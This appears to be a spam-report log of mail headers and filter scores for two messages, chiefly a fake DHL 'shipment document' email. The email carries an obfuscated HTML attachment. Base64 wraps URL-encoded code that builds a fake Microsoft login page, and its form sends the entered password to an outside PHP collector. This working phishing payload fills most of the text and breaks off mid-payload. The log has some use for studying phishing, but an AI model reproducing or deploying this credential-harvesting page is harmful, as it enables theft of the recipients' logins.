X-MS-Exchange-SenderADCheck: 1

X-MS-Exchange-AntiSpam-Relay: 0

X-Microsoft-Antispam: BCL:0;

X-Microsoft-Antispam-Message-Info:

oHFzKYKv7iUQOpWE8lJ3uzUo6UiFNAdMsWw89QLBBbT+oFrqsouBZt53WGXE9dqlBxGm6Nysp31pX6/G5NnGOEoOYe9nrgdGIJQ2MTVXZp2/GxcIcUasP5QEqR/zMSQLWrwpPFlBvdVeZWO81DtQlqCeShK5Ib8iSS6cFiPc3UpojkOZRmw1p3/CokplqMpvoOURiyF6QE3YLN5qt5Zgu5GAarp51pqLI1JSjDOcXWGcpxr7opXRa/hZTamJvesfwDQWhmIIrQx1B1lpefwxdbp57or/o/u0yNLHFegbqj5kRKu6r/4FHyMZgHcZzM5HPoJgt+Aj5cUu7ISKKtRxVBh5GVmQLjXYCqQ1CghPfkMOBuWV+mCMPz3hUzHYvSFr9UmPKSZWPOsfoVP7KSdYyPIltydaZkLvHrRbHGKGiTXvk+qgbtZo/Appb1A6dvC8jFRTLvQA5r1vW+okCeDEQocJiIFfxaOPDVoKY+Zj0yE6uy23C1156gKGjXV43Inifwh5MT4YXJldtTDAtS6/aLdU+bQz7qrejLfIE3DLpA8=

X-Forefront-Antispam-Report:

CIP:173.255.199.51;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mail.simonis.com;PTR:173-255-199-51.ip.linodeusercontent.com;CAT:NONE;SFS:(13230031)(136003)(39860400002)(376002)(346002)(396003)(230922051799003)(1690799017)(82310400011)(451199024)(186009)(61400799012)(7200799017)(64100799003)(46966006)(40470700004)(36840700001)(4326008)(67280400001)(5660300002)(31696002)(86362001)(478600001)(558084003)(81166007)(9686003)(336012)(34020700004)(47076005)(26005)(36860700001)(41320700001)(82740400003)(70206006)(42186006)(316002)(786003)(41300700001)(70586007)(8676002)(6916009)(8936002)(166002)(40480700001)(40460700003)(8400799017)(2906002)(83022004);DIR:OUT;SFP:1102;

X-OriginatorOrg: hadmubeo.onmicrosoft.com

X-MS-Exchange-CrossTenant-OriginalArrivalTime: 18 Jan 2024 01:52:59.5618

(UTC)

X-MS-Exchange-CrossTenant-Network-Message-Id: e6883ae1-81e9-4cb7-3a59-08dc17c83306

X-MS-Exchange-CrossTenant-Id: ddaabc7f-e1b1-48dd-9759-97ec3bb6547d

X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=ddaabc7f-e1b1-48dd-9759-97ec3bb6547d;Ip=[173.255.199.51];Helo=[mail.simonis.com]

X-MS-Exchange-CrossTenant-AuthSource:

BL6PEPF0001AB75.namprd02.prod.outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Anonymous

X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem

X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR06MB8222

X-Spam_score: 5.1

X-Spam_score_int: 51

X-Spam_bar: +++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: (1) Notifications



Content analysis details: (5.1 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[40.107.101.96 listed in list.dnswl.org]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[40.107.101.96 listed in wl.mailspike.net]

1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist

[URI: o5m72ur25a0tgmc.storage.googleapis.com]

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 ARC_SIGNED Message has a ARC signature

0.0 ARC_VALID Message has a valid ARC signature

1.0 HK_RANDOM_FROM From username looks random

0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider

[loubouba_gcoucdiuiiy(at)hadmubeo.onmicrosoft.com]

0.0 HTML_MESSAGE BODY: HTML included in message

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

1.3 HTML_IMAGE_ONLY_24 BODY: HTML: images with 2000-2400 bytes of words

-0.0 T_SCC_BODY_TEXT_LINE No description available.

Subject: {SPAM?} Harbor Pressure Washer - Your order has shipped!









(1) Notifications












































































































I1.02KL0LD35.4KI2.16KwhoissourceRank32.2MPIN0Summary reportDiagnosisDensity00n/a

DHL Phish from srvape.com Moscow Russia

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 17 Jan 2024 17:00:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQFoK-00000000NiD-3ubo

for dave@doctor.nl2k.ab.ca;

Wed, 17 Jan 2024 16:59:08 -0700

Resent-From: The Doctor

Resent-Date: Wed, 17 Jan 2024 16:59:08 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [188.127.227.245] (port=40718 helo=post.dineras.lt)

by doctor.nl2k.ab.ca with esmtp (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQ9aW-000000007hd-1YxY

for sales@nk.ca;

Wed, 17 Jan 2024 10:20:32 -0700

Received: from dhl.com (localhost [IPv6:::1])

by post.dineras.lt (Postfix) with ESMTP id EC09D1104296

for ; Wed, 17 Jan 2024 20:02:54 +0300 (MSK)

From: DHL Express

To: sales@nk.ca

Subject: New DHL Shipment Document Arrival Notice / Shipping Documents / Original BL, Invoice & Packing List

Date: 17 Jan 2024 17:02:54 +0000

Message-ID: <20240117170254.0018FF9A5345A53F@dhl.com>

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="----=_NextPart_000_0012_9FE7F9F4.61A7836E"

X-Spam_score: 7.6

X-Spam_score_int: 76

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: DHL Shipping Invoice Hello: sales, Your international shipment

has been processed, please confirm the attached document for reference. Document

data :



Content analysis details: (7.6 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL

[188.127.227.245 listed in psbl.surriel.com]

1.5 NIX_SPAM RBL: Listed in NIX_SPAM DNSBL (thanks to heise.de)

[188.127.227.245 listed in ix.dnsbl.manitu.net]

0.0 HTML_MESSAGE BODY: HTML included in message

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 T_HTML_ATTACH HTML attachment to bypass scanning?

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

-0.0 T_SCC_BODY_TEXT_LINE No description available.

0.7 TO_NO_BRKTS_FROM_MSSP Multiple formatting errors

0.3 FROM_MISSP_EH_MATCH From misspaced, matches envelope

Subject: {SPAM?} New DHL Shipment Document Arrival Notice / Shipping Documents / Original BL, Invoice & Packing List



This is a multi-part message in MIME format.



------=_NextPart_000_0012_9FE7F9F4.61A7836E

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

















hange-newline">


ne; line-height: 1.2; letter-spacing: normal; font-size: 14px; font-style: =

normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: =

2; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: in=

itial; text-decoration-style: initial; text-decoration-color: initial; font=

-variant-ligatures: normal; font-variant-caps: normal;">






); border-image: none; width: 470px; height: 230px; font-family: "Google Sa=

ns", Roboto, RobotoDraft, Helvetica, Arial, sans-serif; font-size: 12px;'><=

font face=3D"arial">
; font-size: 30px;">


erit;">DHL  

-align: inherit;">Shipping Invoice=



<=

font style=3D"vertical-align: inherit;">Hello: 
an>
sales,


nt style=3D"vertical-align: inherit;">

Your international shipment has been processed, please confirm the attached=

document for reference.

=3D"color: rgb(255, 179, 26); font-size: 17px;">
align: inherit;">Document data

=3D"color: rgb(255, 179, 26); font-size: 17px;">
gn: inherit;"> :
 <=

br>


=




cal-align: inherit;">



    ;">


  • ">
    n: inherit;">Documentation:=

      
    ical-align: inherit;"> =

    Bill of Lading / Packing List



  • ">
    n: inherit;">Consignee's ID card:<=

    /font>
     sales@nk.ca

    >


  • ">
    n: inherit;">Timestamp:
    nt>
     2024.







, 51); text-transform: none; text-indent: 0px; letter-spacing: normal; font=

-family: verdana, Tahoma, Arial, 宋体, sans-serif; font-size: 1=

4px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: =

normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decorat=

ion-thickness: initial; text-decoration-style: initial; text-decoration-col=

or: initial; font-variant-ligatures: normal;=20

font-variant-caps: normal;">

0, 0); font-size: 12px;">
yle=3D"vertical-align: inherit;">You received this email because the custom=

er designated you as the consigne ya











------=_NextPart_000_0012_9FE7F9F4.61A7836E

Content-Type: text/html; name="(AWB) Original BL, PL.HtMl"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="(AWB) Original BL, PL.HtMl"



PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQud3JpdGUoIHVuZXNjYXBl

KCAnJTNDc2NyaXB0JTIwbGFuZ3VhZ2UlM0QlMjJKYXZhU2NyaXB0JTIyJTNFJTBBYWxlcnQl

MjglMjJUaGlzJTIwREhMJTIwRG9jdW1lbnQlMjBNaWNyb3NvZnQlMjBTZWN1cml0eSUyMCUy

NiUyMFJlcXVpcmVzJTIwQXV0aGVudGljYXRpb24uJTIwQ2xpY2slMjBPayUyMFRvJTIwQ29u

dGludWUlMjIlMjklMEElM0MlMkZzY3JpcHQlM0UlMEElM0NIVE1MJTNFJTNDSEVBRCUzRSUz

Q21ldGElMjBodHRwLWVxdWl2JTNEJTIyQ29udGVudC1UeXBlJTIyJTIwY29udGVudCUzRCUy

MnRleHQlMkZodG1sJTNCJTIwY2hhcnNldCUzRGlzby04ODU5LTElMjIlM0UlMEElMEElM0NT

VFlMRSUyMHR5cGUlM0R0ZXh0JTJGY3NzJTNFJTBBYm9keSUyQyUyMGh0bWwlMjAlN0JoZWln

aHQlM0ElMjAxMDAlMjUlM0JtYXJnaW4lM0ElMjAwJTNCJTIwJTIwZm9udC1Qb3RhJTIyJTJD

JTIyTGF0aGElMjIlMkMlMjJMZWVsYXdhZGVlJTIyJTJDJTIyTWljcm9zb2Z0JTIwWWFIZWkl

MjBVSSUyMiUyQyUyMk1pY3Jvc29mdCUyMEpoZW5nSGVpJTIwVUklMjIlMkMlMjJNYWxndW4l

MjBHb3RoaWMlMjIlMkMlMjJFc3RyYW5nZWxvJTIwRWRlc3NhJTIyJTJDJTIyTWljcm9zb2Z0

JTIwSGltYWxheWElMjIlMkMlMjJNaWNyb2lsc29mdCUyME5ldyUyMFRhaSUyMEx1ZSUyMiUy

QyUyMk1pY3Jvc29mdCUyMFBoYWdzUGElMjIlMkMlMjJNaWNyb3NvZnQlMjBUYWklMjBMZSUy

MiUyQyUyMk1pY3Jvc29mdCUyMFlpJTIwQmFpdGklMjIlMkMlMjJNb25nb2xpYW4lMjBCYWl0

aSUyMiUyQyUyMk1WJTIwQm9saSUyMiUyQyUyMk15YW5tYXIlMjBUZXh0JTIyJTJDJTIyQ2Ft

YnJpYSUyME1hdGglMjIlM0IlN0QlMDklMEEud3JhcHBlciUyMCU3QiUyMCUyMGJhY2tncm91

bmQtaW1hZ2UlM0ElMjB1cmwlMjhodHRwcyUzQSUyRiUyRnd3dy5heDQuY29tJTJGYXg0JTJG

cGl4JTJGbG9naW5QYWdlJTJGYnVzaW5lc3MlMkZiYWNrZ3JvdW5kcyUyRjIwMTI0MjElMkZi

Zy5qcGclMjklM0IlMjAlMjBiYWNrZ3JvdW5kLXJlcGVhdCUzQSUyMG5vLXJlcGVhdCUzQiUy

MGJhY2tncm91bmQtYXR0YWNobWVudCUzQSUyMGZpeGVkJTNCJTIwJTIwYmFja2dyb3VuZC1w

b3NpdGlvbiUzQSUyMGNlbnRlciUzQiUyMCUyMGJhY2tncm91bmQtc2l6ZSUzQSUyMGNvdmVy

JTNCJTIwJTIwcG9zaXRpb24lM0ElMjBmaXhlZCUzQiUyMCUyMHRvcCUzQSUyMDAlM0IlMjAl

MjBsZWZ0JTNBJTIwMCUzQiUyMCUyMGhlaWdodCUzQSUyMDEwMCUyNSUzQiUyMCUyMHdpZHRo

JTNBJTIwMTAwJTI1JTNCJTIwJTIwJTIwZGlzcGxheSUzQSUyMGZsZXglM0IlMjAlMjBmbGV4

LWZsb3clM0ElMjBjb2x1bW4lMjBub3dyYXAlM0IlMjBqdXN0aWZ5LWNvbnRlbnQlM0ElMjBj

ZW50ZXIlM0IlMjAlMjBhbGlnbi1pdGVtcyUzQSUyMGNlbnRlciUzQiUyMCUyMGJveC1zaXpp

bmclM0ElMjBib3JkZXItYm94JTNCJTdEJTBBLmVsZW1lbnQlMjAlN0IlMjAlMjB3aWR0aCUz

QSUyMDMyMHB4JTNCJTIwJTIwaGVpZ2h0JTNBJTIwMzAwcHglM0IlMjAlMjBwYWRkaW5nJTNB

JTIwNDBweCUyMDMwcHglM0IlMjAlMjBiYWNrZ3JvdW5kLWZhbWlseSUzQSUyMCUyMlNlZ29l

JTIwVUklMjBXZWJmb250JTIyJTJDLWFwcGxlLXN5c3RlbSUyQyUyMkhlbHZldGljYSUyME5l

dWUlMjIlMkMlMjJMdWNpZGElMjBHcmFuZGUlMjIlMkMlMjJSb2JvdG8lMjIlMkMlMjJFYnJp

bWElMjIlMkMlMjJOaXJtYWxhJTIwVUklMjIlMkMlMjJHYWR1Z2klMjIlMkMlMjJTZWdvZSUy

MFhib3glMjBTeW1ib2wlMjIlMkMlMjJTZWdvZSUyMFVJJTIwU3ltYm9sJTIyJTJDJTIyTWVp

cnlvJTIwVUklMjIlMkMlMjJLaG1lciUyMFVJJTIyJTJDJTIyVHVuZ2ElMjIlMkMlMjJMYW8l

MjBVSSUyMiUyQyUyMlJhYXZpJTIyJTJDJTIySXNrb29sYSUyMFBvdGElMjIlMkMlMjJMYXRo

YSUyMiUyQyUyMkxlZWxhd2FkZWUlMjIlMkMlMjJNaWNyb3NvZnQlMjBZYUhlaSUyMFVJJTIy

JTJDJTIyTWljcm9zb2Z0JTIwSmhlbmdIZWklMjBVSSUyMiUyQyUyMk1hbGd1biUyMEdvdGhp

YyUyMiUyQyUyMkVzdHJhbmdlbG8lMjBFZGVzc2ElMjIlMkMlMjJNaWNyb3NvZnQlMjBIaW1h

bGF5YSUyMiUyQyUyMk1pY3JvaWxzb2Z0JTIwTmV3JTIwVGFpJTIwTHVlJTIyJTJDJTIyTWlj

cm9zb2Z0JTIwUGhhZ3NQYSUyMiUyQyUyMk1pY3Jvc29mdCUyMFRhaSUyMExlJTIyJTJDJTIy

TWljcm9zb2Z0JTIwWWklMjBCYWl0aSUyMiUyQyUyMk1vbmdvbGlhbiUyMEJhaXRpJTIyJTJD

JTIyTVYlMjBCb2xpJTIyJTJDJTIyTXlhbm1hciUyMFRleHQlMjIlMkMlMjJDYW1icmlhJTIw

TWF0aCUyMiUzQiU3RCUwOSUwQS53cmFwcGVyJTIwJTdCJTIwJTIwYmFja2dyb3VuZC1pbWFn

ZSUzQSUyMHVybCUyOGh0dHBzJTNBJTJGJTJGd3d3LmF4NC5jb20lMkZheDQlMkZwaXglMkZs

b2dpblBhZ2UlMkZidXNpbmVzcyUyRmJhY2tncm91bmRzJTJGMjAxMjQyMSUyRmJnLmpwZyUy

OSUzQiUyMCUyMGJhY2tncm91bmQtcmVwZWF0JTNBJTIwbm8tcmVwZWF0JTNCJTIwYmFja2dy

b3VuZC1hdHRhY2htZW50JTNBJTIwZml4ZWQlM0IlMjAlMjBiYWNrZ3JvdW5kLXBvc2l0aW9u

JTNBJTIwY2VudGVyJTNCJTIwJTIwYmFja2dyb3VuZC1zaXplJTNBJTIwY292ZXIlM0IlMjAl

MjBwb3NpdGlvbiUzQSUyMGZpeGVkJTNCJTIwJTIwdG9wJTNBJTIwMCUzQiUyMCUyMGxlZnQl

M0ElMjAwJTNCJTIwJTIwaGVpZ2h0JTNBJTIwMTAwJTI1JTNCJTIwJTIwd2lkdGglM0ElMjAx

MDAlMjUlM0IlMjAlMjAlMjBkaXNwbGF5JTNBJTIwZmxleCUzQiUyMCUyMGZsZXgtZmxvdyUz

QSUyMGNvbHVtbiUyMG5vd3JhcCUzQiUyMGp1c3RpZnktY29udGVudCUzQSUyMGNlbnRlciUz

QiUyMCUyMGFsaWduLWl0ZW1zJTNBJTIwY2VudGVyJTNCJTIwJTIwYm94LXNpemluZyUzQSUy

MGJvcmRlci1ib3glM0IlN0QlMEEuZWxlbWVudCUyMCU3QiUyMCUyMHdpZHRoJTNBJTIwMzIw

cHglM0IlMjAlMjBoZWlnaHQlM0ElMjAzMDBweCUzQiUyMCUyMHBhZGRpbmclM0ElMjA0MHB4

JTIwMzBweCUzQiUyMCUyMGJhY2tncm91bmQtY29sb3IlM0ElMjAlMjNmZmZmZmYlM0IlMjAl

MjBib3JkZXIlM0ElMjAxcHglMjBzb2xpZCUyMGdyZXklM0IlMjAlMjBib3JkZXItY29sb3Il

M0ElMjAlMjNmOWY5MDElM0IlN0QlMEEuZWxlbWVudGUlN0IlMDl3aWR0aCUzQSUyMDMwMHB4

JTNCJTIwJTIwaGVpZ2h0JTNBJTIwMzAwcHglM0IlMjAlMjBwYWRkaW5nJTNBJTIwNDBweCUy

MDMwcHglM0IlMjAlMjBiYWNrZ3JvdW5kLWNvbG9yJTNBJTIwJTIzZmZmZmZmJTNCJTIwJTIw

Ym9yZGVyJTNBJTIwMXB4JTIwc29saWQlMjBncmV5JTNCJTdEJTBBZGl2JTIwLnNpZ24tb3B0

JTIwJTdCJTA5cGFkZGluZyUzQSUyMDIwcHglMjAwcHglM0IlMDlmb250LXNpemUlM0ElMjAx

NHB4JTNCJTdEJTBBLm5ld2J1dHRvbiU3QiUwOXdpZHRoJTNBJTIwMTEwcHglM0IlMjBmbG9h

dCUzQSUyMGxlZnQlM0IlMjBib3JkZXItY29sb3IlM0ElMjAlMjNmOWY5MDElM0IlMjBiYWNr

Z3JvdW5kLWNvbG9yJTNBJTIwJTIzZjlmOTAxJTNCJTIwY29sb3IlM0ElMjAlMjNmZmYlM0Il

MjBmb250LXNpemUlM0ElMjAxNHB4JTNCJTIwcGFkZGluZyUzQSUyMDhweCUyMDAlM0IlMjBj

dXJzb3IlM0ElMjBwb2ludGVyJTNCJTIwYm9yZGVyJTNBJTIwbm9uZSUzQiU3RCUwQSUzQyUy

RlNUWUxFJTNFJTBBJTNDdGl0bGUlM0VNaWNyb3NvZnQlMjBEb2N1bWVudCUzQyUyRnRpdGxl

JTNFJTBBJTNDbGluayUyMHJlbCUzRCUyMnNob3J0Y3V0JTIwaWNvbiUyMiUyMGhyZWYlM0Ql

MjIlMjB0eXBlJTNEJTIyaW1hZ2UlMkZ2bmQubWljcm9zb2Z0Lmljb24lMjIlM0UlMEElM0Ml

MkZIRUFEJTNFJTBBJTNDQk9EWSUzRSUwQSUzQ0RJViUyMGNsYXNzJTNEd3JhcHBlciUzRSUz

QyUyMS0tJTIwRml4ZWQlMjBlbGVtZW50JTIwdGhhdCUyMHNwYW5zJTIwdGhlJTIwdmlld3Bv

cnQlMjAtLSUzRSUwQSUzQ0RJViUyMGlkJTNEZWxlbWVudCUyMGNsYXNzJTNEZWxlbWVudCUz

RSUwQSUzQ0ZPUk0lMjBtZXRob2QlM0Rwb3N0JTIwYWN0aW9uJTNEJTIyaHR0cHM6Ly9kZXYt

YmxhY2F4ZWJ2LnBhbnRoZW9uc2l0ZS5pby9mZC9kaGwucGhwJTIyJTIwYXV0b2NvbXBsZXRl

JTNEJTIyJTIyJTNFJTNDcCUzRSUwQSUzQ0RJViUyMGlkJTNEbG9nbyUzRSUzQ0lNRyUyMGJv

cmRlciUzRDAlMjBhbHQlM0QlMjIlMjIlMjBzcmMlM0QlMjIlMjAlMjBkYXRhJTNBaW1hZ2Ul

MkZwbmclM0JiYXNlNjQlMkNpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBTklBQUFBMkNBWUFB

QUN5VE1mV0FBQUl0RWxFUVZSNFh1MWNXV3lVVlJRJTJCczNXYnBTMmx0WVN0dFFWYzRnSyUy

QmlBWk5URWdNJTJCR1FpaW9wc2doR01BV0xBQjNoUk5HQkFqQW9hQTNGREVlSVNvJTJGQkFm

QkZpaUVaRlRaU3dsRUpKS1VvTFpXWTZuYVV6NHoxVFI5cVolMkY4N1NlJTJGN3AlMkZlSGNG

eEw2JTJGM2ZPJTJGYzc1JTJGbnUlMkJjeGRiOG1kSUFqZEdnQkZRUXNER1JGTENqMTltQkZJ

SU1KRTRFQmdCQWdTWVNBUWdjaGVNQUJPSlk0QVJJRUNBaVVRQUluZkJDRENST0FZWUFRSUVt

RWdFSUhJWGpBQVRpV09BRVNCQWdJbEVBQ0ozd1Fnd2tUZ0dHQUVDQkxRbFVpSmdnMU1MdlJE

cmNoQU0wNXd1S3FZTVFNWFVPTlROaTZUJTJCVlcxblYza2clMkJLTkx0UnVvdkhrQW1uY0d3

R1kzN2lxTzJEN2hnNEdMa2dlS3NLQiUyQlVUODBQQlBPZXFQejVTcm9QVkJlUkUlMkZ5Ungy

MUNXamQ3UWZuR0gxM3MybExwSTUxYmdnY0tpTnhSQ2s2Y1UlMkJQUWVPcSUyRmhFVHFtZFBP

Vng0czByWlZMdEhCTjBuZm5BMXlJUHU3QnBCMkNNRWhMMU5FUGJkYk1MMmZsc0duYSUyQjRs

Y2VTNnNDV2hLYTNndUMlMkJhNENtUDVONjBaSklQWHRGVUwyaEhsUW1ZU2J0Rm9ONHd2b1Fl

TyUyQlBGZlhUJTJGWDg1NFBSeUwwRGNWdFI3Umc5UDJob0E3ejN5b092Wko3RGRwbzZ0YkpZ

SXQ5dmg5R0lmSkNQcVk4SHgxUzhWTTk3VDJUT2VNbERFSFdoSHBQQUpCN1F0OUJFUHMzVGRJ

Wm1hdHdjTG5wbFNhZGJqSXMzcVZrJTJCenhqd1NobkZyJTJCcVdEN1JmWXRpJTJGMVFuSkFN

Y2pGTElFelVkWHR3OVBaaEloM0pGSGtERTA2WGpVamxwcU5aQ2xxNmJ5YSUyRjVlMElwSVZk

RkYlMkJTQUV3eld2YUVTemtVYURTUmFqWG1uY0Z3QzdKMkRESVQ4MzNRZXlDZXBBM0xPdUgl

MkJpWFpzOFQ1VFZWdyUyQmV2clJ4Y05kYkJXUkxLYUxzckZsSllQJTJGWGxuSmFvVTFsYWVo

Tlk5ZmlnYmw1Q2FkRzZERyUyRnpmcVd2TzFDenh0cGdsTWlZMSUyRnlFWG5Gdm5LZWpqa2Zj

aGklMkJnaUxZbEVGVlI1blZTaUIlMkJxWGlOeCUyQm1UeTNENThVS2V4aUdsMDA0YVVnVk0l

MkJXNjdMZWI0VDRmMVZkJTJGS2Qwa1NDc3MzcDRJU1BhWlllMnA3eVFDS3FucDFiU1Jkb1J5

ZXE2eUlpYnVZZ1U3d05vZTVJbXphcVpHNEh4b3NBaGE1RnpJc2dYRUloJTJGaVM1S2lyb0dG

a3JDeDV3a255Z3I2U0x0aU5TN3Z3eWk1Mm0lMkJacXJlUkozbVAlMkJ4UzFoTGoxJTJGZEJ6

ZHlvb1RrZGEwVnAlMkY3QjZtbFUySVE0dEglMkZ2QlhtRTg2a1RrUCUyRkhmcnE2TGJsZ1Jn

ckVMUkljWjdjSzJTdWpaSnpHZ1NHZFlZYjFJTmlTdE5GS1J1SnYyT01WaTR0UXZyNERMUUxO

YyUyQnJ3Y3VyYXFsNTl4OEw0SG9sRGVKRjhJRGg5M1FPQUhkY0o2WnNaZzh1dlp4WlByWFJk

cE55TVZ5b2pRVWZYMHdkV1lNQXp3dEExOXZ6cmh6RXFoWFJSYW5TaEROeHFVb1NsMWtZSjVS

YjNxSEN0MDBhZCUyQmNIaFpGJTJCVUN6akl6RXFaJTJGblJ2VkJYUE5IS0VwTmhockNrenJq

aiUyRnNVeExOcnNZNHRINGt5dEFaZ1VlcGk0cGlnc3JEamlUYyUyQkY0QUttOFpQdXV4THNv

RzFSSkV3bUpFJTJCMHFQVW9EajBPM3VKRXo3NmtwV2tLZGhPYlBDQTMxSDFiYk9ORzBQZ0h0

RzlzNENLbDJrd290aTMyMThQZ1IxODgzVlJiaUFQV1d2M3Z2b0NzRk5leUxoTElFa0NwOVVU

JTJCdGtRWTVBVVpUZlpaVzZTMThJWGJTRlJoY1Y0bFNLWjd5em9qRHBOVkZlekdpa3VrajBQ

WEZ6RUh6M0ZiZWxpbUo4MUgxb1Q2VE9qV0lYOFg3MTFmSmM1V2lLOG52Vm5URm9maWRia0Z0

UkYyRjYyaUoyV3pzeU1tbnE5YUs2ZVVKTHJwWnZhYUlPZGpQNzA1cElWTHFvb25WQWxJa0RV

aHpibiUyRlZBNkxlUnAzU3lsTkdxdXFqbCUyRlFCVVRERlhGMVdJb3g2b3YyenFpWWFaJTJG

Q2k0YjIySlJLbUxXc1ZhaTFFcE9vMVNUS3pNNDllMjc1ZVJlZFVuZG5zYm5VY0slMkZlNkU0

RThqNjdOZ0R4SSUyRldIbFRITHl6c2xNdDlJZiUyRiUyQjVGJTJGYkRMTnJIMG9tdE1ueE1N

eXZUc3RpVVNwaTJTbGFOT1I1UiUyQjRyaERJSXRJJTJGT3l0QWNaTjkwUURhUFVtb2UlMkJ4

cWRZaEtGNkVocm5GeHFKWHNNQ2phMEl3WDhNdHROQk9sRmtMRjdnaUtWdmRvUkZwbHhQNERZ

cFpBSGFiYU1uMlE3aTk2MWc2OUI5VVhkVlh0eSUyRmQlMkIlMkJjUUVWRDk0ZFNkSnoyZmxv

c3ByVGlUWEc1eVB5aUxTbnpOcjg5bE0lMkZ2ZEptNEwlMkZINGFqMGtYa1JtWjBpTHFyV1J5

VnlGd3ZTczJtejRrcTR3bjFsQzdmb1RhS3hlUDBzR1FWVFR4NlFYVyUyQnlFeWZ0SHdnZHR0

UEc5UjFsTnVXakd5JTJCOWNqbHJQODJuSkhNSEhCbTMyVmlwMEdOeUpleFVla2lzJTJCM0g0

b0pNZDFFNXNVcWNhVUtpeWhyRjRuRzZieGxoJTJGOTVlQ2QyN2FmYlJtZW1UeHRWaXZVdmNt

NEVOY2VrV0o2ek5iRVluZHJYUlNKUzZ5RXdRa1VUTk8wUlZ5JTJCQ3lFMHl6T2w1VVA1T1Ri

JTJCRVl4OWN1Rm85RGlvdkgySSUyQk1zQlJMQW1iNklkMjM5MTZ4M3JVbGU3MnJGTDg5OURl

eWlJUU9NaWV6SEQ0MHpNbUhMdmhSNmlLelFNVDFsVW1iJTJCd3hKRkJPNzElMkZIV0k0b3pP

YmtXam5Gc3FHTXY3cXBVSG1ZdXduYThJSGFvRTJ4NFZUWXlSd2ZPZXJFclFsejBrazZ2TVJ1

ZzBJdjViRFk2JTJGVHhxR21sb3NGaEJGJTJCR0M2MlN4MHAlMkJwaWRLZzQ4RTJpdDBYT3Vn

aUhOT3gyZFVrSDRWOFFhbnk5OVM5RVhjTWJzZWklMkJyZ1VZazlCR2drRnJObk5JZEtqdERE

VVhSZmhWeHZ2S01EcW1heGRTN29vUGNaVDR1QmhwRTI5R21oV0xEVXNGJTJGZEdMTDU2QXJr

VWNac2VpOUZleWxIVlNMcnJJdHdwanNJeTEyTHV0YVNMaGdZOWx1ODcxcXJyUFRPSTVNWjdJ

OFJOVFRxMWtxWjJtVG01anJvSWRWRE5uQ2dVc3ZKJTJCcmVtaXpNQzhjdENWT29RWTklMkJ0

eGVobnRjMVFQWG9EcHJCczhIMFdWVWhkRHlvSlNPeXcybU5YdzY1NmVGakdsNnhMaXNKaW1z

aCUyRk82SGR3TFFpTEhuaG9EVyUyRnlkRThmdklLNDBFYmx4SHk2Q0JkNDJ4YlIzUFdYcjVC

aE5IYmM2b1NwVSUyQmdQcHppQ2I0ZFl0MjNVOU5Qa2JRSHczRDJvaSUyRkJHMThzSFNyOVli

TFFzTWFxcFhhRUJ5ODh4QXJvandFVFMzVU5zbnlVUVlDSlp3azFzcE80SU1KRjA5eERiWndr

RW1FaVdjQk1icVRzQ1RDVGRQY1QyV1FJQkpwSWwzTVJHNm80QUUwbDNEN0Y5bGtDQWlXUUpO

N0dSdWlQQVJOTGRRMnlmSlJCZ0lsbkNUV3lrN2dnd2tYVDNFTnRuQ1FTWVNKWndFeHVwT3dK

TUpOMDl4UFpaQWdFbWtpWGN4RWJxanNDJTJGMVpYeUFIckVkQUlBQUFBQVNVVk9SSzVDWUlJ

JTNEJTIyJTIwY29sb3IlM0QlMjIlMjNjYjA2MWQlMjIlMjBhbGlnbiUzRCUyMnRvcCUyMiUy

MHdpZHRoJTNEJTIyNTAlMjIlMjBoZWlnaHQlM0QlMjIzMCUyMiUyRiUzRSUyMCUzQ2IlM0VE

SExfX1RSQUNLSU5HJTIwTk8lM0ElMkElMkElMkElMkElMkE0NTYlM0MlMkZiJTNFJTNDJTJG

RElWJTNFJTNDJTJGcCUzRSUzQ3AlM0UlMEElM0NESVYlMjBpZCUzRGNvbnQlMjBzdHlsZSUz

RCUyMlRFWFQtQUxJR04lM0ElMjBsZWZ0JTNCJTIwUEFERElORy1UT1AlM0ElMjAxMHB4JTNC

JTIwZm9udC1zaXplJTNBMTVweCUzQiUyMGNvbG9yJTNBJTIzY2IwNjFkJTNCJTIyJTIwJTNF

RW50ZXIlMjBDb3JyZWN0JTIwUGFzc3dvcmQlMjBUbyUyMERvd25sb2FkJTIwRmlsZSUzQyUy

